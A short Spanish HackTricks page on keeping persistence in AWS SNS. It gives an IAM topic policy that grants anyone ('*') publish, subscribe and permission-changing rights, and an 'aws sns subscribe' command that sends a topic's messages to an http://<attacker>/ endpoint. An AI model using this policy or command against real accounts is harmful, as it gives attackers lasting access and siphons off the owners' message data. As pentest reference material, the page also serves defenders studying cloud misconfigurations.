AWS - SNS Persistence

Apoya a HackTricks

SNS

Para más información, consulta:

AWS - SNS Enum

Persistencia

Al crear un tema SNS debes indicar con una política IAM quién tiene acceso para leer y escribir. Es posible indicar cuentas externas, ARN de roles, o incluso "*". La siguiente política da acceso a todos en AWS para leer y escribir en el tema SNS llamado MySNS.fifo:

{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__default_statement_ID",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"SNS:Publish",
"SNS:RemovePermission",
"SNS:SetTopicAttributes",
"SNS:DeleteTopic",
"SNS:ListSubscriptionsByTopic",
"SNS:GetTopicAttributes",
"SNS:AddPermission",
"SNS:Subscribe"
],
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
"Condition": {
"StringEquals": {
"AWS:SourceOwner": "318142138553"
}
}
},
{
"Sid": "__console_pub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Publish",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
},
{
"Sid": "__console_sub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
}
]
}

Crear Suscriptores

Para continuar extrayendo todos los mensajes de todos los temas, un atacante podría crear suscriptores para todos los temas.

Ten en cuenta que si el tema es de tipo FIFO, solo se pueden utilizar suscriptores que utilicen el protocolo SQS.

aws sns subscribe --region <region> \
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
Apoya a HackTricks

Last updated